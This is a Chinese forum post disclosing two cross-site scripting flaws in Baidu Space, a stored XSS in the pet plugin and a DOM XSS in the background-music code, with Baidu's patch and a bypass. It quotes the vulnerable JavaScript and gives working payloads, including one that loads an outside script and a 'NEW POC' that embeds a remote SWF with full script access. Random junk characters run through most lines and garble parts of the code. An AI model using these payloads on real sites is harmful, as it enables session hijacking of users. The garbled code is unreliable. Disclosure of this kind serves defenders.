找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  ) J4 [% q+ `. a! f7 Q" G; y- B

3 V( p+ u* |+ U$ H5 D# S1 y1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
3 ]" O" v. z& o  P. b' k8 A2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
9 c) B6 T6 D; L3 ~
5 e- @: ]+ e) F  k5 d; ~将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  0 \, T6 _2 k6 ?; S
其中BdUtil.insertWBR为  9 s! q9 G. f) D6 j3 K
function(text, step) {  
5 H( \2 l7 M5 G: ~5 q    var textarea = textAreaCache || getContainer();  
+ C, Q2 E2 @) t0 @" P8 [# }* ?* Z6 M( E    if (!textarea) {  
7 ?0 {! _( N) Q1 \4 ]        return text;  
# W, ~4 p; f8 {7 S  L    }  ! E: z7 s* K) I) D
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
/ @8 g& r, ?0 g    var string = textarea.value;  
+ H. `1 G( l7 }4 K8 V7 R! q    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  3 v, p& L" a7 T( z
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
. k3 V$ _% T! ?8 Y: x    return result;  
& Y9 t+ ]% Q, E* r2 i}  
6 }$ k# G* P; B, J' H在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
, t9 l: d  f' g9 H* `. U0 T, O* ~  h测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  # p; P) J* k: X3 }0 r
   
: _% h) A- E3 T( v# ^/ T二:creatbgmusic() Dom-Xss Bug  $ U) r% V7 M8 P
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  - ]9 ]! E$ y$ o/ X, l& W7 W6 H6 L7 S
3 N3 E1 L  N4 ?
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
3 @. k; `1 u1 C1 T2 L8 M# G
8 L1 M" q; a+ E/ T4 @function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  7 R: d! y$ f* `8 ^* R! |' j0 Z5 z
    //传入的murl赋值到bgmusic1和bgmusic2中  + [4 m. {5 n6 L3 y. C
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
; ]/ w* m) t# j5 `8 X    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
+ v1 U# G) e, p8 {$ \& g9 Q    if (musicnum <= 1) {  
# {6 F3 _( \5 Z) P* ~3 o        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  % Y" g, w" i5 O  I- d: a
    }  / y8 y7 Z6 I% n# N6 O# E
    bgmusic1 += "</OBJECT>";  - K/ f/ n, [( h& ^  z
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
$ e4 K6 V) r! ?3 }: Y& I    if (musicnum <= 1) {  , J$ p6 g0 N9 C) B! V
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  / c2 X7 \# Y5 n
    }  
' u8 X7 h+ t. [( g$ O8 y' ^    bgmusic2 += "> </EMBED>";  7 s; a, ^7 v/ P: ^
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
, T5 a# H3 q; Y; F7 `6 q    var bgmus = detectWMP();  + e. ]3 _/ E9 ]: X/ N' r" v. H3 n
    if (functype == "FckMusicHelper") {  
/ L  F0 p$ q: Z        if (bgmus.installed) {  
0 Y8 [5 T2 Z) L; }  P# U; {8 w4 p            if (bgmus.type == "IE") {  5 T% E" W# w: B  {
                return bgmusic1;  
; f1 X5 g* v  ~( l8 w. e- [            } else if (bgmus.type == "NS") {  
  T1 y8 [( v8 V* p; J- [: U& b$ ~! T                return bgmusic2;  
. p2 d7 z. A0 w4 S' H            }  % ]7 [% q* e) B8 J( {. N
        } else {  
' {7 T6 c6 _& e% [% w            return bgmusic3;  
, S# T, R4 A: t- b1 D9 S; T: `        }  
9 v- Y2 f. I/ o4 m. M4 ~. ]9 R    } else {  
0 P! b# T! Z3 g; ?        if (bgmus.installed) {  0 O) k- T. U7 o
            //document.write 直接输出bgmusic变量 导致xss  / j9 ~2 r% T" E7 F
            if (bgmus.type == "IE") {  7 b# u, Q+ u% f$ {# {# j4 f% ]6 k
                document.write(bgmusic1);  ! w- p* f( H  e+ c1 g9 L
            } else if (bgmus.type == "NS") {  
. b4 `/ Q/ K3 k                document.write(bgmusic2);  - H9 C* h& A* Z+ b9 n5 R
            }  
  m6 Q' x! x7 a+ E& a        } else {  ! m: l6 P- M( ?6 G. ]) S" g4 p
            document.write(bgmusic3);  1 A# z. S; R' z5 Q  M
        }  - z# X( }% L' a6 P. I  _
        return "";  / r( F% H; l+ l8 B8 z3 k/ v, Q
    }  
! l& o/ f) c) W5 E6 @}  
+ b, a; i% V2 `0 P; w# ^, R) Y* B3 I
$ f' F% ~( V9 g, }" \. b0 q在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
; O% ?' z: f8 ]
  f6 O4 I9 L& [' p+ e3 Xfunction initBlogTextForFCK(){  : H' B5 y- u1 N) m- s/ G5 R
//fck init music  7 A) y* j0 o# o9 K, o/ Y
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  9 J3 I; h' F" q/ J1 a) n2 }2 K, T1 X
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
3 D: {" X5 k4 ]2 Pvar isAutoPlay=true;  
3 T* P# f- \) B- ]2 e3 Xfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  . Q6 f7 m6 S, n! A2 `# U7 E! x
  var img=imgBox;  ; e& W$ i1 @" R; J0 \0 T" R1 c
  if(img.getAttribute(’rel’)){        
( V1 _" s- X8 D4 P   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
7 N3 X8 B+ n( J* M, x; j   var musicDiv = document.createElement("SPAN");  : v9 O+ o$ z& k0 i5 e+ Z. L" D
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
6 C! _+ R. V& q) y* K, e     
1 S- K  |5 u) g8 u$ J6 [/ H2 ?* a      ..........................  , a+ t1 r: I1 i, J- F6 \' b/ U
     
( ?  [) K% I& Y   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   9 d7 D$ W9 V1 e3 L& Y1 d
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
9 w' F& P/ G7 N! D   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  . A* M  ~7 L- O+ }: N0 E) t
   musicDiv.innerHTML=shtml;  5 `8 f0 |( Y' b' S$ i/ o9 b. b
   i--;n--;  " U9 x. `" V2 O' b, A% m
  }  
  R9 a% O. K% F& z' G! l! ]( b' R}  
* L/ \, L% D4 g- o
& ~3 ?. ]( p. J: V, i+ Y从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
' \# L! e9 t% h( x   8 E2 ~% }5 `6 Z0 X+ M& T# r" \
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
! S0 E' d2 ^- s+ g7 Q0 T; d; M+ {  x" }3 Z% ^9 M2 |" U- S& B
等待官方补丁  
$ u3 i  k; O( W7 I: d
6 V/ P4 c/ f5 U9 m! c7 K# \9 aupdate 2010年5月13日   
2 e, J: q2 ^* _1 X; O6 L1 y
2 ^& E3 G9 T$ y' ?9 P" A4 |' U% l: {官方补丁:  5 w; p' S. B, H* t

) }$ ~9 ]1 f) Tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  : E5 K5 h' q4 n  ~
改为:  3 N$ v" f1 Q+ Q6 T2 c
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
) p9 u# n3 s7 k6 ], `2 m9 p, w+ B4 g
update 2010年5月13日 21:50:37  
) W- O' h6 J7 _% N0 u2 J6 t
" P# [# J5 S5 d: W1 ^! T8 b/ a+ h3 k补丁存在漏洞 没有过滤" 可以继续跨:  
5 _& b, Z9 i% [5 ]$ n5 e
( p$ ?: y4 l* ]NEW POC:  
& h1 i5 n( T( H& j( N' `* R1 J. i' S5 U8 ]9 O  g
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 5 y7 n# L# g% a! k& c

" r" H2 F4 U4 v: B4 w/ c# |; L( ~3 I1 [allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>+ k: J3 A# c# h1 M
, H% V! {, Z( [# T" }: e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表